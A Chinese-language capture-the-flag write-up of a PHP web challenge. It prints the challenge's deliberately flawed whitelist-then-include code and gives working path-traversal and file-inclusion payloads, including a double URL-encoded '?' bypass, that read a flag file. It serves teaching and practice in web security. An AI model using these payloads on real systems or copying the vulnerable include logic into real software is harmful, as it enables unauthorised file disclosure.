原理
代码审计
查看页面原代码
文件包含
liunx的不存在目录构造
解题过程
进入靶场,只有这么一个图,老规矩查看页面原代码
应该是让我们访问source.php文件
那就是让我们代码审计咯
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先看主函数入口的if语句
!empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])意思便是file参数不为空且为字符串且类emmm的函数返回为真时才文件包含file值,前两个判断不用看,那接下来就直接看这个函数代码了,看看能不能找出一些漏洞出来
可以发现后面都会匹配这个数组,$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
看到有hint.php,那应该是提示,我们先传递这个参数,果然打印出了存放flag的文件名。根据以往经验,flag一般都在根目录里,那我们接下来先尝试访问这个文件
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
搜一下这两个函数的用法
看完用法就清楚了。返回出现?前面的字符串。
if (in_array($_page, $whitelist)) {
return true;
}
根据这个语句可以知道,我们需要构造?前面是source.php或者hint.php的payload,还要能够访问到flag文件
构造payload:?file=source.php?/../../../../ffffllllaaaagggg或者?file=hint.php?/../../../../ffffllllaaaagggg
这里用到一个原理:source.php?即便不存在,也会当作一个存在目录往上跳(仅在linux中适用)
爆出flag
此外我们还可以这样绕过:?file=source.php%253F/../../../../ffffllllaaaagggg或者?file=hint.php%253F/../../../../ffffllllaaaagggg
因为后面有这样的语句
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
对?做url二次编码即%25解码后变成%。和后面的3F拼接,%3F再解码就是? 第一次解码是网站发包到后台过程做的。第二次解码就是代码中的效果。